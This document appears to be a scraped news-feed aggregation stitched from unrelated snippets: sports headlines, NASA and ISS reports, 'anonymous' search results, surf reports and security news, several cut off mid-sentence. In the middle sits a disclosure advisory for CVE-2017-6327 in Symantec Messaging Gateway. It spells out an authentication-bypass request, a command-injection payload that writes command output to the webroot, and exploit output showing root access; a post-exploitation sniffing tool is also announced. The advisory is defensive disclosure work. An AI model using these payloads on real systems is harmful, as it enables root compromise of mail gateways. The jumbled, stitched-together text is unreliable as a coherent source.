Ravens: John Harbaugh says he's interested in keeping newly retired LB Zach Orr around organization (ESPN)

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Arcadia Dunks 2017

The Team: $3,282 TOTAL RAISED SO FAR. Donor Comments. ANONYMOUS. DONATION: $35. 6 minutes ago. Arcadia Solutions. DONATION: $35.

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Total Solar Eclipse of 1979

From cold, clear skies over Riverton, Manitoba, Canada, planet Earth, the solar corona surrounds the silhouette of the New Moon in this telescopic snapshot of the total solar eclipse of February 26, 1979. Thirty eight years ago, it was the last total solar eclipse visible from the contiguous United States. The narrow path of totality ran through the northwestern states of Washington, Oregon, Idaho, Montana, and North Dakota before crossing into Canadian provinces Saskatchewan, Manitoba, Ontario and Quebec. Following the upcoming August 21, 2017 total solar eclipse crossing the U.S. from coast to coast, an annular solar eclipse will be seen in the continental United States on October 14, 2023, visible along a route from Northern California to Florida. Then, the next total solar eclipse to touch the continental U.S. will track across 13 states from from Texas to Maine on April 8, 2024. via NASA http://ift.tt/2v7zND7

▶ #SCtop10: Manny Machado caps three-homer game with walk-off grand slam to give Orioles 9-7 win over Angels (ESPN)

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Grad Show: Anonymous

We let our indulgences get way out of control...so come share some wild stories, a sprinkled donut and some addictive laughter with our group, ...

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Anonymous on Charlottesville

Anonymous - WE ARE ANGRY... (Message to th... Anonymous - WE ARE ANGRY... (Message to the Citizens of the World). https://youtu.be/ ...

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Anonymous 4 Sings Love Songs of Francesco Landini

Anonymous 4 refers to 14th century Florentine composer Francesco Landini as the "Italian master of subtle refinement" and on Friday's Distant Mirror ...

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Can you edit an existing gift to mark it anonymous?

After a gift is committed in batch or added in the back office, is it possible to go back into the gift record and indicate that the gift is anonymous?

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Can I make survey results anonymous?

You can create a form that will not have fields that collect personal info like Name, Email, Phone, etc. However, the IP addresses will be collected.

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Ravens sign C Jeremy Zuttah to 2-year, $4M deal (ESPN)

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Ravens: Ex-LB Zach Orr ends comeback attempt after teams wouldn't clear his congenital spine and neck condition (ESPN)

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Anonymous As Told To Alexa Tsoulis-Reay

View an archive of articles by Anonymous As Told To Alexa Tsoulis-Reay for New York Magazine.

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ISS Daily Summary Report – 8/17/2017

Russian Extravehicular Activity (EVA) #43: Yurchikhin and Ryazanskiy performed a seven hour 30 minute EVA. Completed activities include manual deployment of 5 nanosatellites, collection of research samples and structural maintenance. During EVA ingress timeframe, Whitson and Fischer were isolated in 50 Soyuz. Bresnik and Nespoli had access to the FGB and USOS modules. Multi-Omics-Mouse:  The crew transferred mice for the Multi-Omics-Mouse investigation from the Animal Transfer Transportation Cage Unit that arrived on SpX-12 to Mouse Habitat Cage Units in the Glove Box.  The Cage Units were then installed in the Cell Biology Experiment Facility (CBEF) to start the experiment.  The crew also transferred data from the Compact Flash Memory Card to a Station Support Computer (SSC).  Several studies have reported space flight effects on the human immune system, but the relationship between microbiota and immune dysfunction during flight remains unclear. In the Multi-Omics-Mouse investigation, food with and without fructooligosaccharides (FOS) will be used as prebiotics, to determine if they improve the gut environment and immune function.  After the flight, researchers will analyze the gut environment (microbiota and metabolites) and immune system of the mice by multi-omics analysis. Kubik:  The Crew installed Agenzia Spaziale Italiana (ASI) Biomission Experiment Containers into the Kubik 5 facility in the Columbus module.  They also removed one of those containers and inserted it into a Minus Eighty Degree Celsius Laboratory Freezer for ISS (MELFI) to preserve the scientific samples. Kubik 5 is supporting Biomission investigations by providing a small controlled-temperature incubator / cooler for the study of biological samples in a microgravity environment.  Kubik is equipped with removable inserts designed for self-contained, automatic experiments using seeds, cells, and small animals.  NanoRacks Module 9: The crew activated mixture tubes for NanoRacks Module 9 in support of the NanoRacks-National Center for Earth and Space Science-Casper (NanoRacks-NCESSE-Casper) investigation.  NCESSE supports various schools and student-designed experiments that address challenges of living and working in space. The program is also a key initiative for U.S. science, technology, engineering and math (STEM) that strives to educate and inspire the next generation of scientists and engineers to work on the space program.     Miniature Exercise Device (MED-2):  A crewmember set up cameras to capture the Advanced Resistive Exercise Device (ARED) work volume, placed markers on their body, powered on MED-2 and performed dead lifts and rowing.  The microgravity environment of space weakens muscle and bone, so orbiting crew members spend significant amounts of time exercising with equipment that is large and bulky.  MED-2 aims to demonstrate small robotic actuators can provide motion and resistance for crew workout sessions during long-duration space missions with exercise equipment that is smaller in size and mass. Space Tango MultiLab Locker (TangoLab-1):  The crew removed one investigation from a Card in the TangoLab-1 facility and attached two new ones to it. TangoLab-1 is a reconfigurable general research facility designed for microgravity research and development and pilot manufacturing aboard the ISS.  TangoLab provides a standardized platform and open architecture for experimental modules called CubeLabs. CubeLab modules may be developed for use in 3-dimensional tissue and cell cultures. Space Tango TangoLab-2 Locker (TangoLab-2):  The crew installed the TangoLab-2 facility into Express Rack (ER) 6 but ground controllers were unable to establish communication with the facility.  Ground experts are investigating the anomaly. NanoRacks Platform-1:  The crew installed Modules 67 (NanoRacks-NDC-Ames for Space-Bacteria Testing) and 72a (Quberider-1) into Nanoracks Platform-1.  Module-67 determines whether bacteria mutate at a different rate in the microgravity environment of space. The experiments extend previous work on virulence in space by exposing different batches of bacteria to toxins known to cause mutations.  Automated equipment tests and photographs batches of bacteria contained within different concentrations of toxins so that the observed mutation rates can be compared with those observed from control groups on Earth.  Module-72a has a Raspberry Pi Zero board and several sensors. This is an educational payload that allows students to code their own software experiments and have them collect data on the ISS. Fine Motor Skills (FMS): A crewmember completed a series of interactive tasks for this investigation which studies how fine motor skills are effected by long-term microgravity exposure, different phases of microgravity adaptation, and sensorimotor recovery after returning to Earth gravity. The goal of the investigation is to determine how fine motor performance in microgravity varies over the duration of six-month and year-long space missions; how fine motor performance on orbit compares with that of a closely matched participant on Earth; and how performance varies before and after gravitational transitions, including periods of early flight adaptation and very early/near immediate post-flight periods. Node 1 Port Hatch Unlatch Position: During Hatch Seal Inspections the crew was asked to recheck several of the USOS hatches for proper latch indicators. The crew confirmed that the Node 1 Port Hatch indicator was not in the “unlatched” position as expected. The crew cycled the hatch mechanism and confirmed it was physically in the “unlatched” position while the position indicator was off.  Engineering is assessing the latch indicator to determine if the hardware will need to be replaced Today’s Planned Activities All activities were completed unless otherwise noted. ASI Experiment Container insertion into MELFI Experiment Container deinstallation Experiment Container installation into KUBIK 5 Combustion Integrated Rack Manifold Bottle Valve Open Combustion Integrated Rack Upper Rack Doors Open/Close ISS HAM Radio Power Down Crew Quarters (CQ) Door Closing Cold Stowage Double Coldbag Unpack & Review CSA Generic Frozen Blood Collection Setup CTB Dragon Unpack Dragon Locker Remove Restow Vestibule Outfitting Kit (VOK) Environmental Health System (EHS) Acoustic Dosimeters – Data Transfer and Stow Removes CUCU inhibits post EVA. Leaves CUCU in expected quiescent config. COTS UHF Communications Unit (CUCU) Inhibits for EVA Fine Motor Skills Experiment Test – Subject Health Maintenance System (HMS) – ESA Nutritional Assessment Health Maintenance System (HMS) Food Frequency Questionnaire (FFQ) or ISS Food Intake Tracker (ISS FIT) iPad Air 2 Charge & Troubleshooting Miniature Exercise Device Hardware Gather Miniature Exercise Device Operations Session Multi-Omics-Mouse Compact Flash Memory Card 64GB data transfer. Multi-Omics-Mouse Item Gathering Multi-Omics-Mouse Pre-experiment […]

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Drupal Commerce does not create a user account for anonymous checkout

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Virtual Special Issues: Voyager Anniversary Collection

On August 20th 1977, the spacecraft Voyager 2 was launched from Cape Canaveral in Florida, followed two weeks later by its twin Voyager 1. 2017 marks the 40th anniversary of the two remarkable probesThis Virtual Special Issue, containing Elsevier’s’ most influential Voyager articles.

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Android Trojan Now Targets Non-Banking Apps that Require Card Payments

The infamous mobile banking trojan that recently added ransomware features to steal sensitive data and lock user files at the same time has now been modified to steal credentials from Uber and other booking apps as well. Security researchers at Kaspersky Lab have discovered a new variant of the Android banking Trojan called Faketoken that now has capabilities to detect and record an infected

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[FD] Executable installers are vulnerable^WEVIL (case 53): escalation of privilege with QNAP's installers for Windows

[FD] NetRipper - Smart Traffic Sniffing - Support for x64

NetRipper is a post exploitation tool targeting Windows systems which uses API hooking in order to intercept network traffic and encryption related functions from a low privileged user, being able to capture both plain-text traffic and encrypted traffic before encryption/after decryption. Changelog Version 1.1: - Initial support for x64 (using minhook library) GitHub: http://ift.tt/1NtrEfT

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[FD] CVE-2017-6327: Symantec Messaging Gateway <= 10.6.3-2 unauthenticated root RCE

Hello, This is an advisory for CVE-2017-6327 which is an unauthenticated remote code execution flaw in the web interface of Symantec Messaging Gateway prior to and including version 10.6.3-2, which can be used to execute commands as root. Symantec Messaging Gateway, formerly known as Brightmail, is a linux-based anti-spam/security product for e-mail servers. It is deployed as a physical device or with ESX in close proximity to the servers it is designed to protect. =*=*=*=*=*=*=*=*= TIMELINE 2017-07-07: Reported to Symantec 2017-08-10: Patch and notice released by Symantec [1] 2017-08-18: Public technical advisory =*=*=*=*=*=*=*=*= DESCRIPTION - Bug #1: Web authentication bypass The web management interface is available via HTTPS, and you can't do much without logging in. If the current session (identified by the `JSESSIONID` cookie) has the `user` attribute set, the session is considered authenticated. The file LoginAction.class defines a number of public methods and they can all be reached via unauthenticated web requests. By making a GET request to `/brightmail/action1.do?method=method_name` we can execute `LoginAction.method_name` if `method_name` is a public method. One such public method which will be the target of our authentication bypass is called `LoginAction.notificationLogin`. It does the following: 1. Decrypt the `notify` parameter using `BrightmailDecrypt.decrypt` 2. Creates a new `UserTO` object using the decrypted `notify` parameter as an email value 3. Creates a new session, invalidating the old one if necessary 4. Sets the `user` attribute of the newly created session to our constructed UserTO object It essentially takes a username value from a GET parameter and logs you in as this user if it exists. If not, it creates this user for you. We need to encrypt our `notify` argument so that `BrightmailDecrypt.decrypt` will decrypt it properly. Fortunately the encryption is just PBEWithMD5AndDES using a static password, conveniently included in the code itself. I won't include the encryption password or a fully encrypted notify string in this post. Example request: GET /brightmail/action1.do?method=notificationLogin&notify=MTIzNDU2Nzg%3d6[...]&id=test HTTP/1.1 ... HTTP/1.1 302 Found Server: Apache-Coyote/1.1 ... Set-Cookie: JSESSIONID=9E45E9F70FAC0AADAC9EB7A03532F65D; Path=/brightmail; Secure; HttpOnly - Bug #2: Command injection The RestoreAction.performRestore method can be reached with an authenticated session and it takes the restoreSource and localBackupFilename parameters. After a long chain of function calls, localBackupFilename ends up being sent to the local "bmagent" daemon listening on port 41002. It will execute /opt/Symantec/Brightmail/cli/bin/db-restore with argv[1] being our supplied value. The db-restore script is a sudo wrapper for /opt/Symantec/Brightmail/cli/sbin/db-restore, which in turn is a perl script containing a command injection in a call to /usr/bin/du. $ /opt/Symantec/Brightmail/cli/bin/db-restore 'asdf;"`id`";' /usr/bin/du: cannot access `/data/backups/asdf': No such file or directory sh: uid=0(root) gid=0(root) groups=0(root): command not found ERROR: Failed to copy 'asdf;"`id`";' from local backup store: No such file or directory This command injection can be exploited from the web management interface with a valid session, which we can create using bug #1. - Combining bug #1 and #2 The last step is to get a CSRF token since the vulnerable performRestore function is annotated with @CSRF. After some quick digging it turns out that all you need to do is call /brightmail/common.jsp to get a token that will be valid for all your requests. The URL-encoded value we provide for the `localBackupFileSelection` parameter is: asdf`id>/data/bcc/webapps/brightmail/output.txt;/bin/uname -a>>/data/bcc/webapps/brightmail/output.txt`hehehe Request: GET /brightmail/admin/restore/action5.do?method=performRestore&symantec.brightmail.key.TOKEN=bbda9b0a52bca4a43cc2b6051cd6b95900068cd3&restoreSource=APPLIANCE&localBackupFileSelection=%61%73%64%66%60%69%64%3e%2f%64%61%74%61%2f%62%63%63%2f%77%65%62%61%70%70%73%2f%62%72%69%67%68%74%6d%61%69%6c%2f%6f%75%74%70%75%74%2e%74%78%74%3b%2f%62%69%6e%2f%75%6e%61%6d%65%20%2d%61%3e%3e%2f%64%61%74%61%2f%62%63%63%2f%77%65%62%61%70%70%73%2f%62%72%69%67%68%74%6d%61%69%6c%2f%6f%75%74%70%75%74%2e%74%78%74%60%68%65%68%65%68%65 HTTP/1.1 Host: 192.168.205.220 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:52.0) Gecko/20100101 Firefox/52.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br Cookie: JSESSIONID=34D61B34698831DB765A9DD5E0049D0B Connection: close Upgrade-Insecure-Requests: 1 Response: HTTP/1.1 200 OK Server: Apache-Coyote/1.1 Cache-Control: no-store,no-cache Pragma: no-cache Expires: Thu, 01 Jan 1970 00:00:00 GMT X-Frame-Options: SAMEORIGIN Content-Type: text/html;charset=UTF-8 Content-Length: 803 Date: Thu, 29 Jun 2017 06:48:12 GMT Connection: close ... Now to confirm that our command output was correctly placed in a file inside the webroot. imac:~% curl -k http://ift.tt/2vIAbvi uid=0(root) gid=0(root) groups=0(root) Linux localhost.localdomain 2.6.32-573.3.1.el6.x86_64 #1 SMP Thu Aug 13 22:55:16 UTC 2015 x86_64 x86_64 x86_64 GNU/Linux =*=*=*=*=*=*=*=*= EXPLOIT OUTPUT imac:~/brightmail% python brightmail-rce.py http://ift.tt/2wVzNIu bypassing login.. * JSESSIONID=693079639299816F80016123BE8A0167 verifying login bypass.. * Version: 10.6.3 getting csrf token.. * 1e35af8c567d3448a65c8516a835cec30b6b8b73 done, verifying.. uid=501(bcc) gid=99(nobody) euid=0(root) egid=0(root) groups=0(root),99(nobody),499(mysql),502(bcc) Linux localhost.localdomain 2.6.32-573.3.1.el6.x86_64 #1 SMP Thu Aug 13 22:55:16 UTC 2015 x86_64 x86_64 x86_64 GNU/Linux # cat /etc/issue Symantec Messaging Gateway Version 10.6.3-2 Copyright (c) 1998-2017 Symantec Corporation. All rights reserved. =*=*=*=*=*=*=*=*= REFERENCES [1] http://ift.tt/2vta89H =*=*=*=*=*=*=*=*= CREDIT Philip Pettersson

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[FD] SSD Advisory – Chrome Turbofan Remote Code Execution

[FD] NoviFlow NoviWare <= NW400.2.6 multiple vulnerabilities

NoviFlow NoviWare <= NW400.2.6 multiple vulnerabilities Introduction ========== NoviWare is a high-performance OpenFlow 1.3, 1.4 and 1.5 compliant switch software developed by NoviFlow and available for license to network equipment manufacturers. Multiple vulnerabilities were identified in the NoviWare software deployed on NoviSwitch devices. They could allow a remote attacker to gain privileged code execution on the switch (non-default configuration) or a low-privileged CLI user to execute code as root. CVEs ===== * CVE-2017-12784: remote code execution in novi_process_manager_daemon Indicative CVSS v2 base score: 7.6 (AV:N/AC:H/Au:N/C:C/I:C/A:C) * CVE-2017-12785: cli breakout in novish Indicative CVSS v2 base score: 6.8 (AV:L/AC:L/Au:S/C:C/I:C/A:C) * CVE-2017-12786: remote code execution in noviengine and cliengine Indicative CVSS v2 base score: 7.6 (AV:N/AC:H/Au:N/C:C/I:C/A:C) Affected versions ============== NoviWare <= NW400.2.6 and devices where a vulnerable NoviWare version is deployed Author ====== François Goichon - Google Security Team CVE-2017-12784 ============== Remote code execution in novi_process_manager_daemon Summary

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Share public items when anonymous access is disabled

I have a feeling it has to do with the fact that anonymous access is disabled. I searched for additional documentation and it led me to this page: Share ...

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Review of David's Kitchen, Chiang Mai, Thailand

David's Kitchen: Despite the great review.... this is an anonymous restaurant - See 2687 traveler reviews, 1771 candid photos, and great deals for ...

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Creating an Anonymous Callback Function

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Tracking Data Relay Satellite (TDRS) Orbital Fleet Communicating with User Spacecraft 2017 - 360 video

The Tracking Data Relay Satellite (TDRS) fleet has provided spacecraft communications and tracking since the 1980's. Designed to replace most ground stations and provide longer periods of coverage, TDRS spacecraft have become an indispensable component of both manned and unmanned Earth orbiting space missions. The TDRS project is building the follow-on and replacement spacecraft necessary to maintain and expand NASA's Space Network. The third satellite of the third generation, TDRS-M, is set to launch in August 2017. TDRS-M will launch from Cape Canaveral Air Force Station in Florida aboard an Atlas V rocket. This satellite will join a constellation of space-based communications satellites providing tracking, telemetry, command and high-bandwidth data return services. TDRS Communication Fleet in 360 Degrees TDRS Communication Fleet in VR 360 Degrees andnbsp;

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Ravens defeat Dolphins 31-7; QB Josh Woodrum 2 TD runs, Senorise Perry 11-yard TD run (ESPN)

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Orioles activate SS Ryan Flaherty (shoulder) from 60-day DL; outright SS Ruben Tejada to Triple-A (ESPN)

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Lightweight anonymous function syntax

Many languages provide a lightweight syntax for specifying anonymous functions, in which the function type is derived from the surrounding context.

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Anonymous user 348746

Name, Anonymous user 348746. User since, July 8, 2017. Number of add-ons developed, 0 add-ons. Average rating of developer's add-ons, Not yet ...

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Ravens: Ryan Mallett should get good shot to rebound Thursday - Jamison Hensley (ESPN)

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Two Critical Zero-Day Flaws Disclosed in Foxit PDF Reader

Are you using Foxit PDF Reader? If yes, then you need to watch your back. Security researchers have discovered two zero-day critical security vulnerabilities in Foxit Reader software that could allow attackers to execute arbitrary code on a targeted computer, if not configured to open files in the Safe Reading Mode. The first vulnerability (CVE-2017-10951) is a command injection bug discovered

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Unpatchable Flaw in Modern Cars Allows Hackers to Disable Safety Features

Today, many automobiles companies are offering vehicles that run on the mostly drive-by-wire system, which means a majority of car's functions—from instrument cluster to steering, brakes, and accelerator—are electronically controlled. No doubt these auto-control systems make your driving experience much better, but at the same time, they also increase the risk of getting hacked. Car Hacking

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Police Investigate Anonymous Call in the 1200 block of Ft. Myer Drive

ARLINGTON, VA – At approximately 6:05 a.m. on August 17, the Emergency Communications Center received an anonymous call from a subject ...

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ISS Daily Summary Report – 8/16/2017

SpaceX (SpX)-12 Capture and Berthing: SpX-12 rendezvous and capture were successfully completed today  at 5:54 AM CDT using the Space Station Remote Manipulator System (SSRMS). The crew monitored Dragon’s approach from the Cupola Robotic Workstation. Vestibule outfitting, vehicle ingress and critical cargo transfer began following capture. Light Microscopy Module (LMM) Biophysics 3:  The crew retrieved LMM Biophysics 3 Plate 1 from the Fluids Integrated Rack (FIR) and placed it into a Microgravity Experiment Research Locker / INcubator (MERLIN).  The LMM was placed in the FIR on Monday to begin the science run.  Using the three-dimensional structure of proteins, scientists can determine how they function and how they are involved in disease. Some proteins benefit from being crystallized in microgravity, where they can grow larger and with fewer imperfections. Access to crystals grown on the ISS supports research for a wide range of diseases, as well as microgravity-related problems such as radiation damage, bone loss and muscle atrophy. This investigation identifies which proteins would benefit from crystallization in space. Food Acceptability:  The crew completed a Food Acceptability questionnaire for this investigation which seeks to determine the impact of repetitive consumption of food currently available from the spaceflight food system.  Results will be used in developing strategies to improve food system composition to support crew health and performance on long duration missions.  Minus Eighty Laboratory Freezer for ISS (MELFI)-1 Anomaly:  Overnight during the crew sleep period, the Electronics Unit (EU) for MELFI-1 experienced an anomaly. Following crew wake, science samples were successfully relocated to alternate MELFI units without issue.  Ground teams are working a forward plan to replace the MELFI-1 EU with an on orbit spare. NeuroMapping: The crew was unable to perform the Neuromapping assessments today due to a software fault that caused the laptop to lock up. Ground experts are investigating the anomaly. Today’s Planned Activities All activities were completed unless otherwise noted. Video recording for KOROLYOV TV channel Soyuz 735 Samsung PC Battery check and recharge Soyuz 736 Samsung PC Battery check and recharge CONTENT. Experiment Ops Preparation of Reports for Roscosmos web site and social media ECON-M. Observation and photography Crew Command Panel (CCP) Cable Route and Checkout Reminder ESA Nutritional Assessment Reminder NeuroMapping MELFI Transfer USOS Window Shutter Close On MCC Go Regeneration of Micropurification Unit (БМП) Ф2 Cartridge (start) Acoustic Dosimeter Operations – Setup Dosimeter for Static Measurement Food Acceptability Questionnaire MORNING PREPARATION WORK Updated EVA Timeline Review Microscope (MS) Thermal Container Check Robotic Workstation (RWS) High Definition (HD) Monitor Downlink Photo/TV Ghost Camera in Cupola on SSC power recording Robotics Workstation (RWS) Dragon Configuration Dragon R Bar Approach JEM Camera Robot Cable Swap Cold Stowage Double Cold bag Unpack Review Check to see that shutters are closed on windows 6, 8, 9, 12, 13, 14 Dragon R Bar Approach Pistol Grip Tool Torque Analyzer Kit Data Collection On MCC Go Purging Elektron-VM Liquid Unit (БЖ) after Shutdown Space Station Remote Manipulator System (SSRMS) Dragon Capture Pre-EVA PILLE dosimeter data collection and deployment Node 2 to Dragon Pressurization and Leak Check Equipment Pregather Robotic Workstation (RWS) High Definition (HD) Monitor Deactivation Ghost camera teardown in Cupola Photo TV High Definition (HD) Dragon Video Setup Combustion Integrated Rack Upper Rack Doors Open Dust collectors ПФ1, ПФ2 – filter replacement, fans В1, В2 grille cleaning in DC1 (without replacement) Fuel Oxidizer Reaction Products (FORP) KIT Prep  Multi-Omics-Mouse Pre-experiment Transfer Familiarization 1 Combustion Integrated Rack Manifold Bottle Replacement Environmental Health System (EHS) – Rad Detector Relocate Vacuum cleaning of КВД and КСД valve screens before EVA Combustion Integrated Rack Upper Rack Doors Close Orlan-MK No.6 Drink Bag Refill and Install Orlan-MKS No.4 Drink Bag Refill and Install ARED Platform Pip Pin Inspect and Secure Advanced Space Experiment Processor Overview On-Board Training On-Orbit Hearing Assessment (O-OHA) with EarQ Software Setup and Test NeuroMapping Experiment Neurocognitive Test – Subject [Aborted] Environmental Health System (EHS) – Surface Sample Kit (SSK) Analysis (T+5) On-orbit hearing assessment using EARQ Fluids Integrated Rack Rack Doors Open LMM Biophysics Plate Removal Health Maintenance System (HMS) – ESA Nutritional Assessment Crew Command Panel (CCP) Cable Deroute Node 2 to Dragon Pressurization and Leak Check Fluids Integrated Rack Doors Close On-Orbit Hearing Assessment (O-OHA) with EarQ Software Setup and Test Dragon Vestibule Outfitting On-Orbit Hearing Assessment (O-OHA) with EarQ Software Setup and Test Node 2 Nadir Common Berthing Mechanism (CBM) Controller Panel Assembly (CPA) Removal On MCC Go Regeneration Micropurification Unit (БМП) Ф2 Absorption Cartridge (end) Completed Task List Activities Rendezvous and Prox Ops Program (RPOP) Setup  Ground Activities All activities were completed unless otherwise noted. Dragon berthing and vestibule outfitting support N2 CBM Bolt loading Three-Day Look Ahead: Thursday, 08/17: SpX-12 cargo transfer operations, RS EVA 43 Friday, 08/18: Rodent Research-9 (RR-9) transfer, Vascular Ultrasound, Mouse Habitat, RS EVA Cleanup Saturday, 08/19: RR-9 access unit cleaning, TangoLab 2 installation/checkout, ADSEP cell transfer, Lung Media fixation, NanoRacks Module 9 ops, ADSEP cell transfer, POLAR desiccant pack swap QUICK ISS Status – Environmental Control Group:   Component Status Elektron Off Vozdukh Manual [СКВ] 1 – SM Air Conditioner System (“SKV1”) Off           [СКВ] 2 – SM Air Conditioner System (“SKV2”) On Carbon Dioxide Removal Assembly (CDRA) Lab Standby Carbon Dioxide Removal Assembly (CDRA) Node 3 Operate Major Constituent Analyzer (MCA) Lab Idle Major Constituent Analyzer (MCA) Node 3 Operate Oxygen Generation Assembly (OGA) Process Urine Processing Assembly (UPA) Process Trace Contaminant Control System (TCCS) Lab Full up Trace Contaminant Control System (TCCS) Node 3 Off

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ET Agormeda Ministries

Download past episodes or subscribe to future episodes of E.T. Agormeda Ministries by noreply@blogger.com (Anonymous) for free.

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Game of Thrones and HBO — Twitter, Facebook Accounts Hacked

The Game of Thrones hacking saga continues, but this time it's the HBO's and GOT's official Twitter and Facebook accounts got compromised, rather than upcoming episodes. As if the leak of episodes by hackers and the accidental airing of an upcoming episode of Game of Thrones by HBO itself were not enough, a notorious group of hackers took over the official Twitter and Facebook accounts for

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NGC 2442: Galaxy in Volans

Distorted galaxy NGC 2442 can be found in the southern constellation of the flying fish, (Piscis) Volans. Located about 50 million light-years away, the galaxy's two spiral arms extending from a pronounced central bar have a hook-like appearance in wide-field images. But this mosaicked close-up, constructed from Hubble Space Telescope and European Southern Observatory data, follows the galaxy's structure in amazing detail. Obscuring dust lanes, young blue star clusters and reddish star forming regions surround a core of yellowish light from an older population of stars. The sharp image data also reveal more distant background galaxies seen right through NGC 2442's star clusters and nebulae. The image spans about 75,000 light-years at the estimated distance of NGC 2442. via NASA http://ift.tt/2i4R92x

8th Street, Ocean City, MD's surf is Good

August 16, 2017 at 08:00PM, the surf is Good!

8th Street, Ocean City, MD Summary


Surf: shoulder to head high
Maximum: 1.53m (5.02ft)
Minimum: 1.224m (4.02ft)

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Village of Burns Lake to allow anonymous complaints

Burns Lake residents will soon be able to file anonymous complaints at the village office. The village's new open door complaint policy, which was ...

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Ravens would need to overlook Ryan Matthews' lack of ball security to pursue him - Jamison Hensley (ESPN)

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Oopss! HBO Itself Accidentally Leaked 'Game of Thrones' Season 7 Episode 6

HBO doesn't need hackers to leak its widely watched "Game of Thrones" episodes, as it is sufficient enough to leak them by its own. In what seems to be a terrible blunder, HBO Spain appeared to have accidentally broadcast the next episode—Episode 6—of Game of Thrones season 7 five days before its official premiere. And as expected, the GoT episode 6 quickly began circulating online. <!--

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8th Street, Ocean City, MD's surf is Good

August 15, 2017 at 08:00PM, the surf is Good!

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Surf: shoulder to head high
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ISS Daily Summary Report – 8/15/2017

Intracranial Pressure & Visual Impairment (IPVI): The crew took front and profile view pictures to check for facial edema, then completed a conference with ground experts.  The IPVI investigation studies changes to crewmembers’ eyes and optic nerves by analyzing arterial blood pressure and blood flow to the brain before and after spaceflight. The IPVI investigation uses non-invasive methods as compared to current invasive methods (e.g., spinal tap) to measure intracranial pressure.  MagVector:  The crew performed closeout and cleanup activities for the 7-day MagVector Run 11.  The European Space Agency (ESA) MagVector investigation studies how the Earth’s magnetic field interacts with an electrical conductor. Using extremely sensitive magnetic sensors placed around and above a conductor, researchers can gain insight into ways that the magnetic field influences how conductors work. This research not only helps improve future International Space Station experiments and electrical experiments, but it could offer insights into how magnetic fields influence electrical conductors in general – the backbone of our technology.  Japanese Experiment Module (JEM) Camera Robot:  The crew set up the JEM Camera Robot and the ground took video and photos of several scenes in the JEM module. This device is a free-flying camera robot that provides real time video downlink and photographs.  It is expected to reduce the crew time requirements to support video recording of activities, especially at the blind spot of existing JEM internal cameras.  Multi-Omics-Mouse:  The crew refilled water containers in Mouse Habitat Cage Units for the JAXA Multi-Omics-Mouse investigation. Several studies have reported space flight effects on the human immune system but the relationship between microbiota and immune dysfunction during flight remains unclear. In Multi-Omics-Mouse, food with and without fructooligosaccharides (FOS) will be used as prebiotics, which could improve the gut environment and immune function.  After the flight, researchers will analyze the gut environment (microbiota and metabolites) and immune system of the mice by multi-omics analysis, and evaluate the effect of FOS during flight. Kubik:  The crew unstowed and set up the Agenzia Spaziale Italiana (ASI) Kubik 5 facility in the Columbus module.  They then performed a functional check and preheating of Kubik 5 to prepare for support of upcoming ASI Biomission investigations that will utilize the Kubik facility.  Kubik is a small controlled-temperature incubator or cooler used to study biological samples in a microgravity environment. It is equipped with removable inserts designed for self-contained, automatic experiments using seeds, cells, and small animals. At Home in Space: The crew completed an At Home in Space questionnaire. This Canadian Space Agency experiment assesses culture, values, and psychosocial adaptation of astronauts to a space environment shared by multinational crews on long-duration missions. It is hypothesized that astronauts develop a shared space culture that is an adaptive strategy for handling cultural differences and they deal with the isolated confined environment of the spacecraft by creating a home in space. At Home in Space uses a questionnaire to investigate individual and culturally related differences, family functioning, values, coping with stress, and post-experience growth. Dragon Robotics On-Board Trainer: In preparation for tomorrow’s SpX-12 capture and berthing, the crew completed 3 Capture Point Hold runs which allows the crew to practice free drift timing. They also practiced malfunction response, nominal rate approaches and 2 meter approaches.  Remote Power Controller Module (RPCM) P12B_B Status: Following successful closure of RPCM P12B_B RPC10 late Sunday evening, the RPC tripped this morning.  This RPC powers the S-Band transponder for String 2. The trip signature continues to indicate a Field Effect Transistor (FET) Hybrid failure. Ground teams will continue to attempt to reclose the RPC. This is an external RPCM that can be Removed and Replaced (R&Rd) by the Special Purpose Dexterous Manipulator (SPDM). Today’s Planned Activities All activities were completed unless otherwise noted. At Home In Space Questionnaire KUBIK Functional check KUBIK 5 preheat and functional check KUBIK 5 Setup Combustion Integrated Rack Alignment Guide Install Combustion Integrated Rack Manifold Bottle Replacement Combustion Integrated Rack Upper Rack Doors Open/Close CEVIS Portable PFS Conclude CEVIS Portable PFS Partial Stow Max CEVIS Portable PFS Power Up CEVIS Portable PFS Subject Crew Command Panel (CCP) Cable Route and Checkout Dragon Vestibule Outfitting Kit (VOK) Gather CDM and MCA Comparison Acoustic Dosimeter Setup Day 2 EXPRESS Rack 8 Locker Removal Health Maintenance System (HMS) – ESA Nutritional Assessment Health Maintenance System (HMS) Spaceflight Cognitive Assessment Tool for Windows (WinSCAT) Test HRF Generic Urine Collection Stow Intracranial Pressure & Visual Impairment (IPVI) Face Photo-taking JEM Camera Robot Activation/Deactivation JEM Camera Robot Shooting Video recording for KOROLYOV TV channel USB Jumpdrive Return and PPS2 Reconfiguration Mouse Habitat Unit Cage Water Refill Dragon Robotics Onboard Trainer (ROBoT) Session 2 Ghost camera setup in Cupola Robotic Workstation (RWS) High Definition (HD) Monitor Downlink/Deactivation Polar Hardware Express Rack Transfer Recycle Tank Drain Parts 1-3 Wastewater Storage Tank Assembly (WSTA) Fill XF305 Camcorder Setup Dragon Cargo Operations Conference Replacement of Onboard Oxygen Tanks БК-3М Installation of Orlan #6 ORUs prior to EVA Installation of Orlan #4 ORUs prior to EVA Comm Check and Media Parameters Control. Comm Setup for Orlan OBT Resuming Nominal Comm Config after Orlan OBT Spacesuit Onboard Interface Unit in DC1 (БСС СО1) Checkout. Removal of Air Ducts in DC1 prior to the OBT (Do Not Disconnect the Air Ducts) Post-OBT Installation of Air Ducts in DC1 Systems Check in Orlan-MKS Spacesuit #6 Before OBT. Systems Check in Orlan-MKS Spacesuit #4 Before OBT. Post-OBT Ops Doffing Orlan. Donning Orlans #4 and 6, Closing Backpacks. Verification of Orlan Sizing at Orlan Pressure=0.4. Translation Training in Orlan-MKS #4 and Orlan-MK #6. Control of the Initial Condition of Orlan and Spacesuit Onboard Interface Unit (БСС) during the OBT Preliminary Orlan and БСС Leak Check Donning Gear. Orlan and БСС Control Units Check Preparation of Reports for Roscosmos web site and social media URAGAN. Observation and Photography ECON-M. Observation and photography Completed Task List Activities None Ground Activities All activities were completed unless otherwise noted. Max CEVIS support Dragon RoBOT OBT Dragon capture and cargo transfer reviews Three-Day 